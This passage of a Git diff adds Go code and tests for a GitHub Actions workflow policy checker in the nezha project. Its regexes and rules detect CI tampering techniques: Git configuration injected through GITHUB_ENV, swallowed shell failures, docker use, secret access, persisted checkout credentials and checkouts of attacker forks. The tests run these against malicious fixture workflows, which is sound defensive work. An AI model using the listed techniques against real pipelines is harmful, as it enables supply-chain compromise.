"artifact upload must immediately follow a redaction step with if: always()") + } + condition, hasCondition := mappingValue(step, "if") + if !hasCondition || strings.TrimSpace(condition.Value) != "always()" { + c.reject(RuleArtifactRedaction, at(path+".if", step), "artifact upload requires if: always()") + } + with, exists := mappingValue(step, "with") + artifactPath, hasPath := mappingValue(with, "path") + if !exists || !hasPath || !redactedArtifactPaths(artifactPath.Value) { + node := step + if hasPath { + node = artifactPath + } + c.reject(RuleArtifactRedaction, at(path+".with.path", node), "artifact path must reference redacted output") + } +} + +func redactedArtifactPaths(raw string) bool { + return strings.TrimSpace(raw) == redactedArtifactPath +} diff --git a/integration/agentcompat/internal/workflowpolicy/checkout.go b/integration/agentcompat/internal/workflowpolicy/checkout.go new file mode 100644 index 00000000..3f5bb0c4 --- /dev/null +++ b/integration/agentcompat/internal/workflowpolicy/checkout.go @@ -0,0 +1,72 @@ +package workflowpolicy + +import ( + "fmt" + "strings" + + "gopkg.in/yaml.v3" +) + +func (c *checker) checkCheckout(path string, step *yaml.Node, validatedResolvers map[string]Repository) { + with, exists := mappingValue(step, "with") + if !exists || with.Kind != yaml.MappingNode { + c.reject(RulePersistCredentials, at(path+".with.persist-credentials", step), "checkout requires persist-credentials: false") + return + } + persistCredentials, exists := mappingValue(with, "persist-credentials") + if !exists || !explicitFalse(persistCredentials) { + node := with + if exists { + node = persistCredentials + } + c.reject(RulePersistCredentials, at(path+".with.persist-credentials", node), "checkout requires persist-credentials: false as a boolean") + } + repositoryNode, exists := mappingValue(with, "repository") + if !exists { + return + } + repository, literal := scalarString(repositoryNode) + if !literal || strings.Contains(repository, "${{") { + c.reject(RuleRepositoryNotLiteral, at(path+".with.repository", repositoryNode), "checkout repository must be a literal") + return + } + if repository != string(RepositoryAgent) && repository != string(RepositoryNezha) { + detail := fmt.Sprintf("repository %q is not allowed; only nezhahq/agent and nezhahq/nezha are allowed", repository) + c.reject(RuleRepositoryNotAllowed, at(path+".with.repository", repositoryNode), detail) + return + } + ref, exists := mappingValue(with, "ref") + refValue, literal := scalarString(ref) + if exists && literal && fullCommitPattern.MatchString(refValue) { + return + } + if repository == string(c.repository) && !exists { + return + } + if exists && literal { + match := resolvedRefPattern.FindStringSubmatch(refValue) + if len(match) == 2 && validatedResolvers[match[1]] == Repository(repository) { + return + } + } + node := repositoryNode + if exists { + node = ref + } + detail := "other-repository checkout ref must be a literal 40-hex commit SHA or a validated resolver sha output" + c.reject(RuleOtherRepositoryRef, at(path+".with.ref", node), detail) +} + +func (c *checker) checkCacheInputs(path string, step *yaml.Node) { + with, exists := mappingValue(step, "with") + if !exists { + return + } + for _, key := range []string{"cache", "cache-dependency-path"} { + value, present := mappingValue(with, key) + if present && !explicitFalse(value) { + detail := fmt.Sprintf("dependency or executable cache input %s is forbidden", key) + c.reject(RuleReusableExecutable, at(path+".with."+key, value), detail) + } + } +} diff --git a/integration/agentcompat/internal/workflowpolicy/execution.go b/integration/agentcompat/internal/workflowpolicy/execution.go new file mode 100644 index 00000000..58621a3a --- /dev/null +++ b/integration/agentcompat/internal/workflowpolicy/execution.go @@ -0,0 +1,207 @@ +package workflowpolicy + +import ( + "fmt" + "regexp" + "strconv" + "strings" + + "gopkg.in/yaml.v3" +) + +var ( + fullCommitPattern = regexp.MustCompile(`^[0-9a-fA-F]{40}$`) + dockerCommandPattern = regexp.MustCompile(`(?mi)(?:^|[;&|]\s*|\s)(?:(?:sudo|env)\s+)?(?:/[^\s]+/)?(?:docker|podman|nerdctl|containerd|buildah|runc|crictl)(?:\s|$)`) + gitHubEnvironmentPattern = regexp.MustCompile(`(?is)GIT_[A-Za-z0-9_]*.*GITHUB_ENV|GITHUB_ENV.*GIT_[A-Za-z0-9_]*`) + swallowedFailurePattern = regexp.MustCompile(`(?mi)(?:\|\|\s*(?:true|:|echo\b|printf\b|exit\s+0\b))|(?:^|[;&]\s*)set\s+\+(?:e|o\s+errexit)(?:\s|;|$)|(?:^|[;&]\s*)if\s+|(?:\b(?:bash|sh)\s+-c\b)|(?:^|[;&]\s*)trap\b[^\n]*\bexit\s+0\b|(?:[;&]\s*)(?:true|:)\s*(?:;|$)`) + workspaceCommandPattern = regexp.MustCompile(`(?mi)(?:\$\{\{\s*github\.workspace\s*\}\}|\$GITHUB_WORKSPACE|\$\{GITHUB_WORKSPACE\})(?:/|\\)|(?:^|[;&|]\s*)(?:sudo\s+)?(?:\.\.?/|[A-Za-z0-9_.-]+/)[^\s;&|]+`) + gitRepositoryCommand = regexp.MustCompile(`(?m)(?:^|[;&|]\s*|\s)(?:(?:sudo|command|env)\s+)?(?:/usr/bin/)?git\b[^\n]*(?:clone|ls-remote)\b`) + gitConfigurationPattern = regexp.MustCompile(`(?mi)(?:^|[;&|]\s*)(?:sudo\s+)?git(?:\s+-c\s+url\.[^\s]+\.insteadOf=\S+|\s+config\b)`) +) + +func (c *checker) checkJob(name string, job *yaml.Node) { + path := "$.jobs." + name + timeout, exists := mappingValue(job, "timeout-minutes") + if !exists || !positiveInteger(timeout) { + node := job + if exists { + node = timeout + } + c.reject(RuleMissingJobTimeout, at(path+".timeout-minutes", node), "job timeout-minutes must be a positive literal") + } + c.checkRunner(path, job) + if container, exists := mappingValue(job, "container"); exists { + c.reject(RuleContainerizedExecution, at(path+".container", container), "job containers are forbidden") + } + if services, exists := mappingValue(job, "services"); exists { + c.reject(RuleContainerizedExecution, at(path+".services", services), "service containers are forbidden") + } + c.checkPermissions(job, path+".permissions", false) + c.checkContinueOnError(job, path) + if reusableWorkflow, exists := mappingValue(job, "uses"); exists { + c.reject(RuleReusableExecutable, at(path+".uses", reusableWorkflow), "job-level reusable workflows are forbidden") + return + } + steps, exists := mappingValue(job, "steps") + if !exists { + c.reject(RuleWorkflowStructure, at(path+".steps", job), "workflow jobs must define steps") + return + } + if steps.Kind != yaml.SequenceNode { + c.reject(RuleWorkflowStructure, at(path+".steps", steps), "workflow steps must be a sequence") + return + } + c.checkSteps(path, steps) +} + +func (c *checker) checkSteps(jobPath string, steps *yaml.Node) { + redactionReady := false + validatedResolvers := make(map[string]Repository) + for index, step := range steps.Content { + path := jobPath + ".steps[" + strconv.Itoa(index) + "]" + if step.Kind != yaml.MappingNode { + c.reject(RuleWorkflowStructure, at(path, step), "workflow step must be a mapping") + redactionReady = false + continue + } + uses, hasUses := mappingValue(step, "uses") + run, hasRun := mappingValue(step, "run") + if !hasUses && !hasRun { + c.reject(RuleWorkflowStructure, at(path, step), "workflow step must define a nonempty uses or run") + redactionReady = false + continue + } + if hasUses && (uses.Kind != yaml.ScalarNode || uses.Tag != "!!str" || strings.TrimSpace(uses.Value) == "") { + c.reject(RuleWorkflowStructure, at(path+".uses", uses), "step uses must be a string action reference") + } + if hasRun && (run.Kind != yaml.ScalarNode || run.Tag != "!!str" || strings.TrimSpace(run.Value) == "") { + c.reject(RuleWorkflowStructure, at(path+".run", run), "step run must be a scalar shell command") + } + c.checkContinueOnError(step, path) + resolver, validResolver := validatedRefResolver(step) + if hasRun { + c.checkRun(path+".run", run, validResolver) + } + if validResolver { + validatedResolvers[resolver.id] = resolver.repository + } + if hasUses { + c.checkUses(path, step, stepCheckState{redactionComplete: redactionReady, validatedResolvers: validatedResolvers}) + redactionReady = false + continue + } + redactionReady = c.isRedactionStep(step) + } +} + +func (c *checker) checkContinueOnError(mapping *yaml.Node, path string) { + value, exists := mappingValue(mapping, "continue-on-error") + if exists && !explicitFalse(value) { + c.reject(RuleContinueOnError, at(path+".continue-on-error", value), "continue-on-error must not enable failure suppression") + } +} + +func (c *checker) checkRun(path string, run *yaml.Node, validatedResolver bool) { + command, exists := scalarString(run) + if !exists { + return + } + if dockerCommandPattern.MatchString(command) { + c.reject(RuleContainerizedExecution, at(path, run), "docker execution is forbidden") + } + if swallowedFailurePattern.MatchString(command) { + c.reject(RuleSwallowedFailure, at(path, run), "shell failure is swallowed by || true or another ignored fallback, exit 0, or disabled errexit") + } + if workspaceCommandPattern.MatchString(command) { + c.reject(RuleReusableExecutable, at(path, run), "executing a binary from the GitHub workspace is forbidden") + } + if gitHubEnvironmentPattern.MatchString(command) { + c.reject(RuleRepositoryNotLiteral, at(path, run), "writing GIT_* configuration through GITHUB_ENV is forbidden") + } + if gitConfigurationPattern.MatchString(command) { + c.reject(RuleRepositoryNotLiteral, at(path, run), "Git configuration mutation is forbidden") + } + if gitRepositoryCommand.MatchString(command) && !validatedResolver { + rule := RuleRepositoryNotLiteral + detail := fmt.Sprintf("git repository operation %q is allowed only in the validated resolver", strings.TrimSpace(command)) + if !strings.Contains(command, "$") { + rule = RuleRepositoryNotAllowed + detail = fmt.Sprintf("repository operation %q is forbidden outside the validated resolver", strings.TrimSpace(command)) + } + c.reject(rule, at(path, run), detail) + } +} + +type stepCheckState struct { + redactionComplete bool + validatedResolvers map[string]Repository +} + +func (c *checker) checkUses(path string, step *yaml.Node, state stepCheckState) { + uses, exists := mappingValue(step, "uses") + if !exists { + return + } + action, literal := scalarString(uses) + if !literal { + return + } + if strings.Contains(action, "${{") { + c.reject(RuleRepositoryNotLiteral, at(path+".uses", uses), "action reference must be literal") + return + } + lowerAction := strings.ToLower(action) + if strings.HasPrefix(lowerAction, "docker://") { + c.reject(RuleContainerizedExecution, at(path+".uses", uses), "Docker actions are forbidden") + return + } + if strings.HasPrefix(lowerAction, "./") { + c.reject(RuleReusableExecutable, at(path+".uses", uses), "local action reuse from the workspace is forbidden") + return + } + actionRepository, _, found := strings.Cut(lowerAction, "@") + switch actionRepository { + case "actions/cache", "actions/cache/restore", "actions/cache/save", "actions/download-artifact": + c.reject(RuleReusableExecutable, at(path+".uses", uses), fmt.Sprintf("cache or artifact reuse action %q is forbidden", actionRepository)) + return + } + if !found { + c.reject(RuleOtherRepositoryRef, at(path+".uses", uses), "action must use its approved immutable SHA") + return + } + approvedRepository, _, pinned := approvedAction(action) + if approvedRepository == "" { + c.reject(RuleRepositoryNotAllowed, at(path+".uses", uses), "action repository is not approved") + return + } + if !pinned { + c.reject(RuleOtherRepositoryRef, at(path+".uses", uses), "action must use its approved immutable SHA") + return + } + switch approvedRepository { + case "actions/checkout": + c.checkCheckout(path, step, state.validatedResolvers) + case "actions/setup-go": + c.checkRequiredCacheDisabled(path, step) + case "actions/upload-artifact": + c.checkArtifactUpload(path, step, state.redactionComplete) + } + c.checkCacheInputs(path, step) +} + +func approvedAction(action string) (string, string, bool) { + repository, ref, found := strings.Cut(strings.ToLower(action), "@") + if !found { + return repository, "", false + } + approvedRefs := map[string]string{ + "actions/checkout": "9c091bb21b7c1c1d1991bb908d89e4e9dddfe3e0", + "actions/setup-go": "924ae3a1cded613372ab5595356fb5720e22ba16", + "actions/upload-artifact": "b7c566a772e6b6bfb58ed0dc250532a479d7789f", + } + approvedRef, approved := approvedRefs[repository] + if !approved { + return "", ref, false + } + return repository, ref, ref == approvedRef +} diff --git a/integration/agentcompat/internal/workflowpolicy/execution_test.go b/integration/agentcompat/internal/workflowpolicy/execution_test.go new file mode 100644 index 00000000..89416031 --- /dev/null +++ b/integration/agentcompat/internal/workflowpolicy/execution_test.go @@ -0,0 +1,232 @@ +package workflowpolicy_test + +import ( + "os" + "path/filepath" + "testing" + + "github.com/nezhahq/nezha/integration/agentcompat/internal/workflowpolicy" + "github.com/stretchr/testify/require" +) + +func TestPolicy_RejectsSelfHostedRunner(t *testing.T) { + assertFixtureRejected(t, rejected("self-hosted.yml", workflowpolicy.RuleSelfHostedRunner, "self-hosted")) +} + +func TestPolicy_RejectsMatrixSelfHostedRunner(t *testing.T) { + assertFixtureRejected(t, rejected("matrix-self-hosted.yml", workflowpolicy.RuleSelfHostedRunner, "self-hosted")) +} + +func TestPolicy_RejectsCustomRunnerLabel(t *testing.T) { + assertFixtureRejected(t, rejected("custom-runner.yml", workflowpolicy.RuleSelfHostedRunner, "GitHub-hosted")) +} + +func TestPolicy_RejectsMatrixIncludeRunner(t *testing.T) { + assertFixtureRejected(t, rejected("matrix-include-runner.yml", workflowpolicy.RuleSelfHostedRunner, "include")) +} + +func TestPolicy_RejectsComposedCustomRunnerLabel(t *testing.T) { + assertFixtureRejected(t, rejected("composed-custom-runner.yml", workflowpolicy.RuleSelfHostedRunner, "GitHub-hosted")) +} + +func TestPolicy_RejectsDockerExecution(t *testing.T) { + assertFixtureRejected(t, rejected("docker.yml", workflowpolicy.RuleContainerizedExecution, "docker")) +} + +func TestPolicy_RejectsAbsoluteDockerExecution(t *testing.T) { + assertFixtureRejected(t, rejected("absolute-docker.yml", workflowpolicy.RuleContainerizedExecution, "docker")) +} + +func TestPolicy_RejectsAlternateAbsoluteDockerExecution(t *testing.T) { + assertFixtureRejected(t, rejected("alternate-absolute-docker.yml", workflowpolicy.RuleContainerizedExecution, "docker")) +} + +func TestPolicy_RejectsJobContainer(t *testing.T) { + assertFixtureRejected(t, rejected("container.yml", workflowpolicy.RuleContainerizedExecution, "container")) +} + +func TestPolicy_RejectsServiceContainers(t *testing.T) { + assertFixtureRejected(t, rejected("services.yml", workflowpolicy.RuleContainerizedExecution, "services")) +} + +func TestPolicy_RejectsCacheReuse(t *testing.T) { + assertFixtureRejected(t, rejected("cache.yml", workflowpolicy.RuleReusableExecutable, "cache")) +} + +func TestPolicy_RejectsSetupGoDefaultCache(t *testing.T) { + assertFixtureRejected(t, rejected("setup-go-default-cache.yml", workflowpolicy.RuleReusableExecutable, "cache: false")) +} + +func TestPolicy_RejectsArtifactExecutableReuse(t *testing.T) { + assertFixtureRejected(t, rejected("download-artifact.yml", workflowpolicy.RuleReusableExecutable, "artifact reuse")) +} + +func TestPolicy_RejectsWorkspaceExecutableReuse(t *testing.T) { + assertFixtureRejected(t, rejected("workspace-executable.yml", workflowpolicy.RuleReusableExecutable, "workspace")) +} + +func TestPolicy_RejectsLocalActionReuse(t *testing.T) { + assertFixtureRejected(t, rejected("local-action.yml", workflowpolicy.RuleReusableExecutable, "local action")) +} + +func TestPolicy_RejectsUnapprovedAction(t *testing.T) { + assertFixtureRejected(t, rejected("unapproved-action.yml", workflowpolicy.RuleRepositoryNotAllowed, "action")) +} + +func TestPolicy_RejectsMutableActionRef(t *testing.T) { + assertFixtureRejected(t, rejected("mutable-action-ref.yml", workflowpolicy.RuleOtherRepositoryRef, "approved immutable SHA")) +} + +func TestPolicy_RejectsReusableWorkflowJob(t *testing.T) { + assertFixtureRejected(t, rejected("reusable-workflow-job.yml", workflowpolicy.RuleReusableExecutable, "reusable workflow")) +} + +func TestPolicy_RejectsContinueOnError(t *testing.T) { + assertFixtureRejected(t, rejected("continue-on-error.yml", workflowpolicy.RuleContinueOnError, "continue-on-error")) +} + +func TestPolicy_RejectsSwallowedShellFailure(t *testing.T) { + assertFixtureRejected(t, rejected("swallowed-failure.yml", workflowpolicy.RuleSwallowedFailure, "|| true")) +} + +func TestPolicy_RejectsAlternativeSwallowedShellFailures(t *testing.T) { + for _, fixture := range []string{"or-echo-failure.yml", "or-printf-failure.yml", "or-exit-zero-failure.yml", "set-plus-o-errexit.yml", "set-plus-e-semicolon.yml", "if-not-failure.yml", "if-condition-failure.yml", "and-if-condition-failure.yml", "nested-shell.yml"} { + t.Run(fixture, func(t *testing.T) { + assertFixtureRejected(t, rejected(fixture, workflowpolicy.RuleSwallowedFailure, "failure")) + }) + } +} + +func TestPolicy_RejectsMissingJobTimeout(t *testing.T) { + assertFixtureRejected(t, rejected("missing-timeout.yml", workflowpolicy.RuleMissingJobTimeout, "timeout-minutes")) +} + +func TestPolicy_RejectsMissingConcurrency(t *testing.T) { + assertFixtureRejected(t, rejected("missing-concurrency.yml", workflowpolicy.RuleMissingConcurrency, "concurrency")) +} + +func TestPolicy_RejectsEmptyConcurrency(t *testing.T) { + assertFixtureRejected(t, rejected("empty-concurrency.yml", workflowpolicy.RuleMissingConcurrency, "concurrency")) +} + +func TestPolicy_RejectsArtifactWithoutRedaction(t *testing.T) { + assertFixtureRejected(t, rejected("artifact-without-redaction.yml", workflowpolicy.RuleArtifactRedaction, "redaction step")) +} + +func TestPolicy_RejectsUnredactedArtifactPath(t *testing.T) { + assertFixtureRejected(t, rejected("unredacted-artifact-path.yml", workflowpolicy.RuleArtifactRedaction, "redacted")) +} + +func TestPolicy_RejectsNoOpRedactionStep(t *testing.T) { + assertFixtureRejected(t, rejected("no-op-redaction.yml", workflowpolicy.RuleArtifactRedaction, "redaction step")) +} + +func TestPolicy_RejectsConditionalRedaction(t *testing.T) { + assertFixtureRejected(t, rejected("conditional-redaction.yml", workflowpolicy.RuleArtifactRedaction, "always()")) +} + +func TestPolicy_RejectsRawWriteAfterRedaction(t *testing.T) { + assertFixtureRejected(t, rejected("raw-after-redaction.yml", workflowpolicy.RuleArtifactRedaction, "immediately follow")) +} + +func TestPolicy_RejectsCommandsAppendedToRedaction(t *testing.T) { + assertFixtureRejected(t, rejected("redaction-command-append.yml", workflowpolicy.RuleArtifactRedaction, "immediately follow")) +} + +func TestPolicy_RejectsUntrustedRunExpression(t *testing.T) { + assertFixtureRejected(t, rejected("untrusted-run-expression.yml", workflowpolicy.RuleUntrustedExpression, "pull_request.title")) +} + +func TestPolicy_RejectsDynamicGitRepository(t *testing.T) { + assertFixtureRejected(t, rejected("dynamic-git-repository.yml", workflowpolicy.RuleRepositoryNotLiteral, "literal")) +} + +func TestPolicy_RejectsUnapprovedGitRepository(t *testing.T) { + assertFixtureRejected(t, rejected("unapproved-git-repository.yml", workflowpolicy.RuleRepositoryNotAllowed, "attacker/fork")) +} + +func TestPolicy_RejectsEnvironmentGitRepository(t *testing.T) { + assertFixtureRejected(t, rejected("environment-git-repository.yml", workflowpolicy.RuleRepositoryNotLiteral, "literal")) +} + +func TestPolicy_RejectsExternalGitRepository(t *testing.T) { + assertFixtureRejected(t, rejected("external-git-repository.yml", workflowpolicy.RuleRepositoryNotAllowed, "repository")) +} + +func TestPolicy_RejectsPrefixedGitRepository(t *testing.T) { + assertFixtureRejected(t, rejected("prefixed-git-repository.yml", workflowpolicy.RuleRepositoryNotLiteral, "literal")) +} + +func TestPolicy_RejectsGitGlobalOptionRepository(t *testing.T) { + assertFixtureRejected(t, rejected("git-global-option-repository.yml", workflowpolicy.RuleRepositoryNotAllowed, "repository")) +} + +func TestPolicy_RejectsCommandOptionGitRepository(t *testing.T) { + assertFixtureRejected(t, rejected("command-option-git-repository.yml", workflowpolicy.RuleRepositoryNotAllowed, "repository")) +} + +func TestPolicy_RejectsGitConfigurationEnvironment(t *testing.T) { + assertFixtureRejected(t, rejected("git-config-environment.yml", workflowpolicy.RuleRepositoryNotLiteral, "GIT_CONFIG_COUNT")) +} + +func TestPolicy_RejectsGitHubEnvironmentConfiguration(t *testing.T) { + assertFixtureRejected(t, rejected("github-environment-git-config.yml", workflowpolicy.RuleRepositoryNotLiteral, "GITHUB_ENV")) +} + +func TestPolicy_RejectsIndexedUntrustedExpression(t *testing.T) { + assertFixtureRejected(t, rejected("indexed-untrusted-expression.yml", workflowpolicy.RuleUntrustedExpression, "github['event']")) +} + +func TestPolicy_RejectsDynamicIndexedUntrustedExpression(t *testing.T) { + assertFixtureRejected(t, rejected("dynamic-indexed-untrusted-expression.yml", workflowpolicy.RuleUntrustedExpression, "github[")) +} + +func TestPolicy_RejectsNonliteralAction(t *testing.T) { + assertFixtureRejected(t, rejected("nonliteral-action.yml", workflowpolicy.RuleRepositoryNotLiteral, "literal")) +} + +func TestPolicy_RejectsMixedArtifactPaths(t *testing.T) { + assertFixtureRejected(t, rejected("mixed-artifact-paths.yml", workflowpolicy.RuleArtifactRedaction, "redacted")) +} + +func TestPolicy_VerifyFileUsesFreshContents(t *testing.T) { + // Given + temporaryDirectory := t.TempDir() + workflowPath := filepath.Join(temporaryDirectory, "workflow.yml") + secureWorkflow, err := os.ReadFile(fixturePath(t, "secure-nezha.yml")) + require.NoError(t, err) + require.NoError(t, os.WriteFile(workflowPath, secureWorkflow, 0o600)) + require.NoError(t, workflowpolicy.VerifyFile(workflowPath, workflowpolicy.RepositoryNezha)) + maliciousWorkflow, err := os.ReadFile(fixturePath(t, "continue-on-error.yml")) + require.NoError(t, err) + require.NoError(t, os.WriteFile(workflowPath, maliciousWorkflow, 0o600)) + + // When + err = workflowpolicy.VerifyFile(workflowPath, workflowpolicy.RepositoryNezha) + + // Then + requireTypedPolicyError(t, err, workflowpolicy.RuleContinueOnError) +} + +func TestPolicy_TempWorkflowsReportExactDiagnostics(t *testing.T) { + // Given + temporaryDirectory := t.TempDir() + securePath := filepath.Join(temporaryDirectory, "secure.yml") + maliciousPath := filepath.Join(temporaryDirectory, "malicious.yml") + secureWorkflow, err := os.ReadFile(fixturePath(t, "secure-nezha.yml")) + require.NoError(t, err) + maliciousWorkflow, err := os.ReadFile(fixturePath(t, "persist-credentials-true.yml")) + require.NoError(t, err) + require.NoError(t, os.WriteFile(securePath, secureWorkflow, 0o600)) + require.NoError(t, os.WriteFile(maliciousPath, maliciousWorkflow, 0o600)) + + // When + secureError := workflowpolicy.VerifyFile(securePath, workflowpolicy.RepositoryNezha) + maliciousError := workflowpolicy.VerifyFile(maliciousPath, workflowpolicy.RepositoryNezha) + + // Then + require.NoError(t, secureError) + requireTypedPolicyError(t, maliciousError, workflowpolicy.RulePersistCredentials) + t.Logf("secure workflow: PASS") + t.Logf("malicious workflow: %v", maliciousError) +} diff --git a/integration/agentcompat/internal/workflowpolicy/nodes.go b/integration/agentcompat/internal/workflowpolicy/nodes.go new file mode 100644 index 00000000..60249337 --- /dev/null +++ b/integration/agentcompat/internal/workflowpolicy/nodes.go @@ -0,0 +1,81 @@ +package workflowpolicy + +import ( + "strconv" + "strings" + + "gopkg.in/yaml.v3" +) + +func mappingValue(mapping *yaml.Node, key string) (*yaml.Node, bool) { + if mapping == nil || mapping.Kind != yaml.MappingNode { + return nil, false + } + for index := 0; index < len(mapping.Content); index += 2 { + if mapping.Content[index].Value == key { + return mapping.Content[index+1], true + } + } + return nil, false +} + +func mappingEntries(mapping *yaml.Node) [][2]*yaml.Node { + if mapping == nil || mapping.Kind != yaml.MappingNode { + return nil + } + entries := make([][2]*yaml.Node, 0, len(mapping.Content)/2) + for index := 0; index < len(mapping.Content); index += 2 { + entries = append(entries, [2]*yaml.Node{mapping.Content[index], mapping.Content[index+1]}) + } + return entries +} + +func scalarString(node *yaml.Node) (string, bool) { + if node == nil || node.Kind != yaml.ScalarNode || node.Tag != "!!str" { + return "", false + } + return node.Value, true +} + +func explicitFalse(node *yaml.Node) bool { + if node == nil || node.Kind != yaml.ScalarNode || node.Tag != "!!bool" { + return false + } + return strings.EqualFold(strings.TrimSpace(node.Value), "false") +} + +func positiveInteger(node *yaml.Node) bool { + if node == nil || node.Kind != yaml.ScalarNode || node.Tag != "!!int" { + return false + } + value, err := strconv.Atoi(node.Value) + return err == nil && value > 0 +} + +func walkScalars(node *yaml.Node, visit func(*yaml.Node)) { + if node.Kind == yaml.ScalarNode { + visit(node) + } + for _, child := range node.Content { + walkScalars(child, visit) + } +} + +func walkMappings(node *yaml.Node, visit func(*yaml.Node)) { + if node.Kind == yaml.MappingNode { + visit(node) + } + for _, child := range node.Content { + walkMappings(child, visit) + } +} + +func containsScalar(node *yaml.Node, expected string) bool { + found := false + walkScalars(node, func(scalar *yaml.Node) { + if scalar.Value == expected { + found = true + } + }) + return found +} diff --git a/integration/agentcompat/internal/workflowpolicy/parse.go b/integration/agentcompat/internal/workflowpolicy/parse.go new file mode 100644 index 00000000..6c38aa5b --- /dev/null +++ b/integration/agentcompat/internal/workflowpolicy/parse.go @@ -0,0 +1,60 @@ +package workflowpolicy + +import ( + "bytes" + "errors" + "fmt" + "io" + + "gopkg.in/yaml.v3" +) + +func parseWorkflow(source string, data []byte) (*yaml.Node, error) { + decoder := yaml.NewDecoder(bytes.NewReader(data)) + var document yaml.Node + if err := decoder.Decode(&document); err != nil { + return nil, &ParseError{Source: source, Cause: err} + } + if len(document.Content) != 1 || document.Content[0].Kind != yaml.MappingNode { + return nil, &ParseError{Source: source, Cause: errors.New("workflow root must be a mapping")} + } + if err := validateYAMLNode(document.Content[0]); err != nil { + return nil, &ParseError{Source: source, Cause: err} + } + + var trailing yaml.Node + err := decoder.Decode(&trailing) + if err == nil && len(trailing.Content) > 0 { + return nil, &ParseError{Source: source, Cause: errors.New("multiple YAML documents are not allowed")} + } + if err != nil && !errors.Is(err, io.EOF) { + return nil, &ParseError{Source: source, Cause: err} + } + return document.Content[0], nil +} + +func validateYAMLNode(node *yaml.Node) error { + if node.Kind == yaml.AliasNode { + return fmt.Errorf("YAML aliases are not allowed at line %d", node.Line) + } + if node.Anchor != "" { + return fmt.Errorf("YAML aliases are not allowed; YAML anchors are not allowed at line %d", node.Line) + } + if node.Kind == yaml.MappingNode { + seen := make(map[string]struct{}, len(node.Content)/2) + for index := 0; index < len(node.Content); index += 2 { + key := node.Content[index] + identity := key.Tag + "\x00" + key.Value + if _, exists := seen[identity]; exists { + return fmt.Errorf("duplicate key %q at line %d", key.Value, key.Line) + } + seen[identity] = struct{}{} + } + } + for _, child := range node.Content { + if err := validateYAMLNode(child); err != nil { + return err + } + } + return nil +} diff --git a/integration/agentcompat/internal/workflowpolicy/policy_test.go b/integration/agentcompat/internal/workflowpolicy/policy_test.go new file mode 100644 index 00000000..1cc7ff4d --- /dev/null +++ b/integration/agentcompat/internal/workflowpolicy/policy_test.go @@ -0,0 +1,296 @@ +package workflowpolicy_test + +import ( + "errors" + "os" + "path/filepath" + "testing" + + "github.com/nezhahq/nezha/integration/agentcompat/internal/workflowpolicy" + "github.com/stretchr/testify/require" + "gopkg.in/yaml.v3" +) + +func TestPolicy_AcceptsSecureNezhaWorkflow(t *testing.T) { + // Given + path := fixturePath(t, "secure-nezha.yml") + + // When + err := workflowpolicy.VerifyFile(path, workflowpolicy.RepositoryNezha) + + // Then + require.NoError(t, err) +} + +func TestPolicy_AcceptsSecureAgentWorkflow(t *testing.T) { + // Given + path := fixturePath(t, "secure-agent.yml") + + // When + err := workflowpolicy.VerifyFile(path, workflowpolicy.RepositoryAgent) + + // Then + require.NoError(t, err) +} + +func TestPolicy_AcceptsValidatedResolvedOtherRepositoryRef(t *testing.T) { + // Given + path := fixturePath(t, "secure-resolved-ref.yml") + + // When + err := workflowpolicy.VerifyFile(path, workflowpolicy.RepositoryNezha) + + // Then + require.NoError(t, err) +} + +func TestPolicy_RejectsPullRequestTarget(t *testing.T) { + assertFixtureRejected(t, rejected("pull-request-target.yml", workflowpolicy.RulePrivilegedTrigger, "pull_request_target")) +} + +func TestPolicy_RejectsPrivilegedWorkflowRun(t *testing.T) { + assertFixtureRejected(t, rejected("workflow-run.yml", workflowpolicy.RulePrivilegedTrigger, "workflow_run")) +} + +func TestPolicy_RejectsSecretContext(t *testing.T) { + assertFixtureRejected(t, rejected("secret-context.yml", workflowpolicy.RuleSecretContext, "secrets")) +} + +func TestPolicy_RejectsAggregateSecretContext(t *testing.T) { + assertFixtureRejected(t, rejected("aggregate-secret-context.yml", workflowpolicy.RuleSecretContext, "secrets")) +} + +func TestPolicy_RejectsWritePermission(t *testing.T) { + assertFixtureRejected(t, rejected("write-permission.yml", workflowpolicy.RuleWritePermission, "contents")) +} + +func TestPolicy_RejectsIDTokenPermission(t *testing.T) { + assertFixtureRejected(t, rejected("id-token-write.yml", workflowpolicy.RuleWritePermission, "id-token")) +} + +func TestPolicy_RejectsMissingRootPermissions(t *testing.T) { + assertFixtureRejected(t, rejected("missing-root-permissions.yml", workflowpolicy.RuleWritePermission, "root permissions")) +} + +func TestPolicy_RejectsPermissionsSequence(t *testing.T) { + assertFixtureRejected(t, rejected("permissions-sequence.yml", workflowpolicy.RuleWritePermission, "mapping")) +} + +func TestPolicy_RejectsQuotedFalsePersistCredentials(t *testing.T) { + assertFixtureRejected(t, rejected("quoted-false-security-controls.yml", workflowpolicy.RulePersistCredentials, "boolean")) +} + +func TestPolicy_RejectsFractionalTimeout(t *testing.T) { + assertFixtureRejected(t, rejected("numeric-timeout.yml", workflowpolicy.RuleMissingJobTimeout, "positive literal")) +} + +func TestPolicy_RejectsNonScalarPermissionValue(t *testing.T) { + assertFixtureRejected(t, rejected("mapping-permission-value.yml", workflowpolicy.RuleWritePermission, "read or none")) +} + +func TestPolicy_RejectsNonMappingUsesStep(t *testing.T) { + assertFixtureRejected(t, rejected("nonmapping-uses.yml", workflowpolicy.RuleWorkflowStructure, "string action reference")) +} + +func TestPolicy_RejectsNonStringUsesReference(t *testing.T) { + assertFixtureRejected(t, rejected("boolean-uses.yml", workflowpolicy.RuleWorkflowStructure, "string action reference")) +} + +func TestPolicy_RejectsMutableRepositoryInput(t *testing.T) { + assertFixtureRejected(t, rejected("unapproved-repository.yml", workflowpolicy.RuleRepositoryNotAllowed, "attacker/fork")) +} + +func TestPolicy_RejectsNonliteralRepository(t *testing.T) { + assertFixtureRejected(t, rejected("nonliteral-repository.yml", workflowpolicy.RuleRepositoryNotLiteral, "literal")) +} + +func TestPolicy_RejectsMutableOtherRepositoryRef(t *testing.T) { + assertFixtureRejected(t, rejected("mutable-other-repository-ref.yml", workflowpolicy.RuleOtherRepositoryRef, "40")) +} + +func TestPolicy_RejectsUnvalidatedResolvedOtherRepositoryRef(t *testing.T) { + assertFixtureRejected(t, rejectionExpectation{fixture: "unvalidated-resolved-ref.yml", repository: workflowpolicy.RepositoryNezha, rule: workflowpolicy.RuleOtherRepositoryRef, diagnostic: "validated resolver"}) +} + +func TestPolicy_RejectsResolverVariableOverride(t *testing.T) { + assertFixtureRejected(t, rejectionExpectation{fixture: "resolver-variable-override.yml", repository: workflowpolicy.RepositoryNezha, rule: workflowpolicy.RuleOtherRepositoryRef, diagnostic: "validated resolver"}) +} + +func TestPolicy_RejectsMissingPersistCredentialsFalse(t *testing.T) { + assertFixtureRejected(t, 